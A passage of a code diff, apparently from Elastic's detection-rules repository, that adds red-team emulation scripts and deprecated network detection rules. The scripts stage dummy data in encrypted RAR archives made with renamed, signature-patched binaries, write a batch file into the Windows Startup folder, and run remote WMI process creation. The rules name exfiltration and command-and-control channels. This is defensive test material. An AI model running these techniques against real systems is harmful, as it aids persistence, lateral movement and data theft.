winrar_encrypted.py +# ATT&CK: T1022 +# Description: Uses "bin\rar.exe" to perform encryption of archives and archive headers. + +import base64 +import os +import sys + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") +WINRAR = common.get_path("bin", "Rar.exe") + + +def create_exfil(path=os.path.abspath("secret_stuff.txt")): + common.log("Writing dummy exfil to %s" % path) + with open(path, 'wb') as f: + f.write(base64.b64encode(b"This is really secret stuff" * 100)) + return path + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP, WINRAR) +def main(password="s0l33t"): + # Copies of the rar.exe for various tests + winrar_bin_modsig = common.get_path("bin", "rar_broken-sig.exe") + common.patch_file(WINRAR, b"win.rar GmbH", b"bad.bad GmbH", winrar_bin_modsig) + + # Renamed copies of executables + winrar_bin_modsig_a = os.path.abspath("a.exe") + winrar_bin_b = os.path.abspath("b.exe") + + common.copy_file(winrar_bin_modsig, winrar_bin_modsig_a) + common.copy_file(WINRAR, winrar_bin_b) + + # Output options for various tests + rar_file = os.path.abspath("out.rar") + rar_file_jpg = os.path.abspath("out.jpg") + common.remove_files(rar_file, rar_file_jpg) + + # use case: rar with -hp to generate new rar file w/ .rar + + common.log("Test case 1: Basic use new rar out", log_type="!") + exfil = create_exfil() + common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil]) + + # use case: rar with -hp to add to existing rar file + # didn't delete rar from previous case + common.log("Test case 2: Basic use add to existing rar", log_type="!") + exfil2 = create_exfil("more_stuff.txt") + common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil2]) + common.remove_files(exfil2, rar_file) + + # use case: process_name == "*rar*" - yes + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" - no + # output filename == "*.rar" - no + common.log("Test case 3: *rar* in process name", log_type="!") + common.execute([winrar_bin_modsig, "a", rar_file_jpg, "-hp" + password, exfil]) + common.remove_files(rar_file_jpg) + + # use case: process_name == "*rar*" - no + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" - yes + # output filename == "*.rar" - no + common.log("Test case 4: Expected WinRar signature", log_type="!") + common.execute([winrar_bin_b, "a", rar_file_jpg, "-hp" + password, exfil]) + common.remove_files(rar_file_jpg) + + # use case: process_name == "*rar*" - no + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" -no + # output filename == "*.rar" - yes + common.log("Test case 5: *.rar in output filename", log_type="!") + common.execute([winrar_bin_modsig_a, "a", rar_file, "-hp" + password, exfil]) + + common.remove_files(rar_file, winrar_bin_modsig_a, winrar_bin_b, exfil) + + # false positive - should not match signature + # use case: process_name == "*rar*" - no + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" -no + # output filename == "*.rar" - no + common.log("Test case 6: FP, shouldn't alert, run with myapp.exe", log_type="!") + common.execute([MY_APP, "-hpbadargument"]) + + common.log("Cleanup", "-") + common.remove_files(winrar_bin_modsig, winrar_bin_modsig_a, winrar_bin_b) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/winrar_startup_folder.py b/rta/winrar_startup_folder.py new file mode 100644 index 000000000..3e60a5a4a --- /dev/null +++ b/rta/winrar_startup_folder.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: WinRAR Startup Folder +# RTA: winrar_startup_folder.py +# ATT&CK: T1060 +# Description: Writes batch file into Windows Startup folder using process ancestry tied to exploit (CVE-2018-20250) + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("WinRAR StartUp Folder Persistence") + win_rar_path = os.path.abspath('WinRAR.exe') + ace_loader_path = os.path.abspath('Ace32Loader.exe') + batch_file_path = '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat' + startup_path = os.environ['USERPROFILE'] + batch_file_path + common.copy_file("C:\\Windows\\System32\\cmd.exe", win_rar_path) + common.copy_file("C:\\Windows\\System32\\cmd.exe", ace_loader_path) + common.execute([win_rar_path, '/c', ace_loader_path, '/c', 'echo', 'test', '^>', startup_path], kill=True) + common.remove_file(startup_path) + common.remove_file(ace_loader_path) + common.remove_file(win_rar_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/wmi_incoming_logon.py b/rta/wmi_incoming_logon.py new file mode 100644 index 000000000..d9db0f8e4 --- /dev/null +++ b/rta/wmi_incoming_logon.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: WMI Incoming Lateral Movement +# RTA: wmi_incoming_logon.py +# ATT&CK: T1047 +# Description: Uses PS WMI to trigger 2 logon events via wmi and 1 control logon, which should result in 2 alerts total + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(remote_host=None): + if not remote_host: + common.log('A remote host is required to detonate this RTA', '!') + return common.MISSING_REMOTE_HOST + + common.enable_logon_auditing(remote_host) + + common.log('Attempting to trigger a remote logon on {}'.format(remote_host)) + + commands = [ + 'Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}'.format(remote_host, c) + for c in ('ipconfig', 'netstat') + ] + + # trigger twice + for command in commands: + common.execute(['powershell', '-c', command]) + + # this should not trigger an alert + common.execute(['net.exe', 'time', '\\\\{}'.format(remote_host)]) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rules/README.md b/rules/README.md new file mode 100644 index 000000000..7f33b2195 --- /dev/null +++ b/rules/README.md @@ -0,0 +1,31 @@ +# rules/ + +Rules within this folder are organized by solution or platform. The structure is flattened out, because nested file hierarchies are hard to navigate and find what you're looking for. Each directory contains several [.toml](https://github.com/toml-lang/toml) files, and the primary ATT&CK tactic is included in the file name when it's relevant (i.e. [`windows/execution_via_compiled_html_file.toml`](windows/execution_via_compiled_html_file.toml)) + +| folder | description | +|-------------------------------------|----------------------------------------------------------------------| +| `.` | Root directory where rules are stored | +| [`apm/`](apm) | Rules that use Application Performance Monitoring (APM) data sources | +| [`cross-platform/`](cross-platform) | Rules that apply to multiple platforms, such as Windows and Linux | +| [`integrations/`](integrations) | Rules organized by Fleet integration | +| [`linux/`](linux) | Rules for Linux or other Unix based operating systems | +| [`macos/`](macos) | Rules for macOS | +| [`ml/`](ml) | Rules that use machine learning jobs (ML) | +| [`network/`](network) | Rules that use network data sources | +| [`promotions/`](promotions) | Rules that promote external alerts into detection engine alerts | +| [`windows/`](windows) | Rules for the Microsoft Windows Operating System | + + +Integration specific rules are stored in the [`integrations/`](integrations) directory: + +| folder | integration | +|--------------------------------------------------------|--------------------------------------| +| [`aws/`](integrations/aws) | Amazon Web Services (AWS) | +| [`azure/`](integrations/azure) | Microsoft Azure | +| [`cyberarkpas/`](integrations/cyberarkpas) | Cyber Ark Privileged Access Security | +| [`endpoint/`](integrations/endpoint) | Elastic Endpoint Security | +| [`gcp/`](integrations/gcp) | Google Cloud Platform (GCP) | +| [`google_workspace/`](integrations/google_workspace) | Google Workspace (formerly GSuite) | +| [`o365/`](integrations/o365) | Microsoft Office | +| [`okta/`](integrations/okta) | Oka | + diff --git a/rules/_deprecated/command_and_control_ftp_file_transfer_protocol_activity_to_the_internet.toml b/rules/_deprecated/command_and_control_ftp_file_transfer_protocol_activity_to_the_internet.toml new file mode 100644 index 000000000..58a0d0cf3 --- /dev/null +++ b/rules/_deprecated/command_and_control_ftp_file_transfer_protocol_activity_to_the_internet.toml @@ -0,0 +1,77 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that may indicate the use of FTP network connections to the Internet. The File Transfer +Protocol (FTP) has been around in its current form since the 1980s. It can be a common and efficient procedure on your +network to send and receive files. Because of this, adversaries will also often use this protocol to exfiltrate data +from your network or download new tools. Additionally, FTP is a plain-text protocol which, if intercepted, may expose +usernames and passwords. FTP activity involving servers subject to regulations or compliance standards may be +unauthorized. +""" +false_positives = [ + """ + FTP servers should be excluded from this rule as this is expected behavior. Some business workflows may use FTP for + data exchange. These workflows often have expected characteristics such as users, sources, and destinations. FTP + activity involving an unusual source or destination may be more suspicious. FTP activity involving a production + server that has no known associated FTP workflow or business requirement is often suspicious. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "FTP (File Transfer Protocol) Activity to the Internet" +risk_score = 21 +rule_id = "87ec6396-9ac4-4706-bcf0-2ebb22002f43" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:(20 or 21) or event.dataset:zeek.ftp) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1048" +name = "Exfiltration Over Alternative Protocol" +reference = "https://attack.mitre.org/techniques/T1048/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/_deprecated/command_and_control_irc_internet_relay_chat_protocol_activity_to_the_internet.toml b/rules/_deprecated/command_and_control_irc_internet_relay_chat_protocol_activity_to_the_internet.toml new file mode 100644 index 000000000..a23a5a875 --- /dev/null +++ b/rules/_deprecated/command_and_control_irc_internet_relay_chat_protocol_activity_to_the_internet.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that use common ports for Internet Relay Chat (IRC) to the Internet. IRC is a common protocol +that can be used for chat and file transfers. This protocol is also a good candidate for remote control of malware and +data transfers to and from a network. +""" +false_positives = [ + """ + IRC activity may be normal behavior for developers and engineers but is unusual for non-engineering end users. IRC + activity involving an unusual source or destination may be more suspicious. IRC activity involving a production + server is often suspicious. Because these ports are in the ephemeral range, this rule may false under certain + conditions, such as when a NAT-ed web server replies to a client which has used a port in the range by coincidence. + In this case, these servers can be excluded. Some legacy applications may use these ports, but this is very uncommon + and usually only appears in local traffic using private IPs, which does not match this rule's conditions. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "IRC (Internet Relay Chat) Protocol Activity to the Internet" +risk_score = 47 +rule_id = "c6474c34-4953-447a-903e-9fcb7b6661aa" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:(6667 or 6697) or event.dataset:zeek.irc) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1048" +name = "Exfiltration Over Alternative Protocol" +reference = "https://attack.mitre.org/techniques/T1048/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/_deprecated/command_and_control_port_8000_activity_to_the_internet.toml b/rules/_deprecated/command_and_control_port_8000_activity_to_the_internet.toml new file mode 100644 index 000000000..a70fa054a --- /dev/null +++ b/rules/_deprecated/command_and_control_port_8000_activity_to_the_internet.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +TCP Port 8000 is commonly used for development environments of web server software. It generally should not be exposed +directly to the Internet. If you are running software like this on the Internet, you should consider placing it behind a +reverse proxy. +""" +false_positives = [ + """ + Because this port is in the ephemeral range, this rule may false under certain conditions, such as when a NATed web + server replies to a client which has used a port in the range by coincidence. In this case, such servers can be + excluded. Some applications may use this port but this is very uncommon and usually appears in local traffic using + private IPs, which this rule does not match. Some cloud environments, particularly development environments, may use + this port when VPNs or direct connects are not in use and cloud instances are accessed across the Internet. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "TCP Port 8000 Activity to the Internet" +risk_score = 21 +rule_id = "08d5d7e2-740f-44d8-aeda-e41f4263efaf" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and destination.port:8000 and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/_deprecated/command_and_control_pptp_point_to_point_tunneling_protocol_activity.toml b/rules/_deprecated/command_and_control_pptp_point_to_point_tunneling_protocol_activity.toml new file mode 100644 index 000000000..0704d81ac --- /dev/null +++ b/rules/_deprecated/command_and_control_pptp_point_to_point_tunneling_protocol_activity.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that may indicate use of a PPTP VPN connection. Some threat actors use these types of +connections to tunnel their traffic while avoiding detection. +""" +false_positives = [ + """ + Some networks may utilize PPTP protocols but this is uncommon as more modern VPN technologies are available. Usage + that is unfamiliar to local network administrators can be unexpected and suspicious. Torrenting applications may use + this port. Because this port is in the ephemeral range, this rule may false under certain conditions, such as when + an application server replies to a client that used this port by coincidence. This is uncommon but such servers can + be excluded. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "PPTP (Point to Point Tunneling Protocol) Activity" +risk_score = 21 +rule_id = "d2053495-8fe7-4168-b3df-dad844046be3" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and destination.port:1723 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/_deprecated/command_and_control_proxy_port_activity_to_the_internet.toml b/rules/_deprecated/command_and_control_proxy_port_activity_to_the_internet.toml new file mode 100644 index 000000000..5ccba4a6c --- /dev/null +++ b/rules/_deprecated/command_and_control_proxy_port_activity_to_the_internet.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that may describe network events of proxy use to the Internet. It includes popular HTTP proxy +ports and SOCKS proxy ports. Typically, environments will use an internal IP address for a proxy server. It can also be +used to circumvent network controls and detection mechanisms. +""" +false_positives = [ + """ + Some proxied applications may use these ports but this usually occurs in local traffic using private IPs which this + rule does not match. Proxies are widely used as a security technology but in enterprise environments this is usually + local traffic which this rule does not match. If desired, internet proxy services using these ports can be added to + allowlists. Some screen recording applications may use these ports. Proxy port activity involving an unusual source + or destination may be more suspicious. Some cloud environments may use this port when VPNs or direct connects are + not in use and cloud instances are accessed across the Internet. Because these ports are in the ephemeral range, + this rule may false under certain conditions such as when a NATed web server replies to a client which has used a + port in the range by coincidence. In this case, such servers can be excluded if desired. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Proxy Port Activity to the Internet" +risk_score = 47 +rule_id = "ad0e5e75-dd89-4875-8d0a-dfdc1828b5f3" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:(1080 or 3128 or 8080) or event.dataset:zeek.socks) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/_deprecated/command_and_control_smtp_to_the_internet.toml b/rules/_deprecated/command_and_control_smtp_to_the_internet.toml new file mode 100644 index 000000000..1c50103dd --- /dev/null +++ b/rules/_deprecated/command_and_control_smtp_to_the_internet.toml @@ -0,0 +1,73 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that may describe SMTP traffic from internal hosts to a host across the Internet. In an +enterprise network, there is typically a dedicated internal host that performs this function. It is also frequently +abused by threat actors for command and control, or data exfiltration. +""" +false_positives = [ + """ + NATed servers that process email traffic may false and should be excluded from this rule as this is expected + behavior for them. Consumer and personal devices may send email traffic to remote Internet destinations. In this + case, such devices or networks can be excluded from this rule if this is expected behavior. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SMTP to the Internet" +risk_score = 21 +rule_id = "67a9beba-830d-4035-bfe8-40b7e28f8ac4" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:(25 or 465 or 587) or event.dataset:zeek.smtp) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1048" +name = "Exfiltration Over Alternative Protocol" +reference = "https://attack.mitre.org/techniques/T1048/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/_deprecated/command_and_control_sql_server_port_activity_to_the_internet.toml b/rules/_deprecated/command_and_control_sql_server_port_activity_to_the_internet.toml new file mode 100644 index 000000000..3e3705b84 --- /dev/null +++ b/rules/_deprecated/command_and_control_sql_server_port_activity_to_the_internet.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects events that may describe database traffic (MS SQL, Oracle, MySQL, and Postgresql) across the Internet. +Databases should almost never be directly exposed to the Internet, as they are frequently targeted by threat actors to +gain initial access to network resources. +""" +false_positives = [ + """ + Because these ports are in the ephemeral range, this rule may false under certain conditions such as when a NATed + web server replies to a client which has used a port in the range by coincidence. In this case, such servers can be + excluded if desired. Some cloud environments may use this port when VPNs or direct connects are not in use and + database instances are accessed directly across the Internet. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SQL Traffic to the Internet" +risk_score = 47 +rule_id = "139c7458-566a-410c-a5cd-f80238d6a5cd" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:(1433 or 1521 or 3306 or 5432) or event.dataset:zeek.mysql) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/_deprecated/command_and_control_ssh_secure_shell_from_the_internet.toml b/rules/_deprecated/command_and_control_ssh_secure_shell_from_the_internet.toml new file mode 100644 index 000000000..15421c02e --- /dev/null +++ b/rules/_deprecated/command_and_control_ssh_secure_shell_from_the_internet.toml @@ -0,0 +1,89 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of SSH traffic from the Internet. SSH is commonly used by +system administrators to remotely control a system using the command line shell. If it is exposed to the Internet, it +should be done with strong security controls as it is frequently targeted and exploited by threat actors as an initial +access or backdoor vector. +""" +false_positives = [ + """ + Some network security policies allow SSH directly from the Internet but usage that is unfamiliar to server or + network owners can be unexpected and suspicious. SSH services may be exposed directly to the Internet in some + networks such as cloud environments. In such cases, only SSH gateways, bastions or jump servers may be expected + expose SSH directly to the Internet and can be exempted from this rule. SSH may be required by some work-flows such + as remote access and support for specialized software products and servers. Such work-flows are usually known and + not unexpected. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SSH (Secure Shell) from the Internet" +risk_score = 47 +rule_id = "ea0784f0-a4d7-4fea-ae86-4baaf27a6f17" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:22 or event.dataset:zeek.ssh) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/_deprecated/command_and_control_ssh_secure_shell_to_the_internet.toml b/rules/_deprecated/command_and_control_ssh_secure_shell_to_the_internet.toml new file mode 100644 index 000000000..43c15443c --- /dev/null +++ b/rules/_deprecated/command_and_control_ssh_secure_shell_to_the_internet.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of SSH traffic from the Internet. SSH is commonly used by +system administrators to remotely control a system using the command line shell. If it is exposed to the Internet, it +should be done with strong security controls as it is frequently targeted and exploited by threat actors as an initial +access or backdoor vector. +""" +false_positives = [ + """ + SSH connections may be made directly to Internet destinations in order to access Linux cloud server instances but + such connections are usually made only by engineers. In such cases, only SSH gateways, bastions or jump servers may + be expected Internet destinations and can be exempted from this rule. SSH may be required by some work-flows such as + remote access and support for specialized software products and servers. Such work-flows are usually known and not + unexpected. Usage that is unfamiliar to server or network owners can be unexpected and suspicious. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SSH (Secure Shell) to the Internet" +risk_score = 21 +rule_id = "6f1500bc-62d7-4eb9-8601-7485e87da2f4" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:22 or event.dataset:zeek.ssh) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/_deprecated/command_and_control_tor_activity_to_the_internet.toml b/rules/_deprecated/command_and_control_tor_activity_to_the_internet.toml new file mode 100644 index 000000000..d8d20112f --- /dev/null +++ b/rules/_deprecated/command_and_control_tor_activity_to_the_internet.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of Tor traffic to the Internet. Tor is a network protocol +that sends traffic through a series of encrypted tunnels used to conceal a user's location and usage. Tor may be used by +threat actors as an alternate communication pathway to conceal the actor's identity and avoid detection. +""" +false_positives = [ + """ + Tor client activity is uncommon in managed enterprise networks but may be common in unmanaged or public networks + where few security policies apply. Because these ports are in the ephemeral range, this rule may false under certain + conditions such as when a NATed web server replies to a client which has used one of these ports by coincidence. In + this case, such servers can be excluded if desired. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Tor Activity to the Internet" +risk_score = 47 +rule_id = "7d2c38d7-ede7-4bdf-b140-445906e6c540" +severity = "medium" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and destination.port:(9001 or 9030) and + source.ip:(10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16) and + + not destination.ip:(10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1090" +name = "Proxy" +reference = "https://attack.mitre.org/techniques/T1090/" +[[rule.threat.technique.subtechnique]] +id = "T1090.003" +name = "Multi-hop Proxy" +reference = "https://attack.mitre.org/techniques/T1090/003/" + + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/_deprecated/credential_access_tcpdump_activity.toml b/rules/_deprecated/credential_access_tcpdump_activity.toml new file mode 100644 index 000000000..9cef8e926 --- /dev/null +++ b/rules/_deprecated/credential_access_tcpdump_activity.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +The Tcpdump program ran on a Linux host. Tcpdump is a network monitoring or packet sniffing tool that can be used to +capture insecure credentials or data in motion. Sniffing can also be used to discover details of network services as a +prelude to lateral movement or defense evasion. +""" +false_positives = [ + """ + Some normal use of this command may originate from server or network administrators engaged in network + troubleshooting. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Network Sniffing via 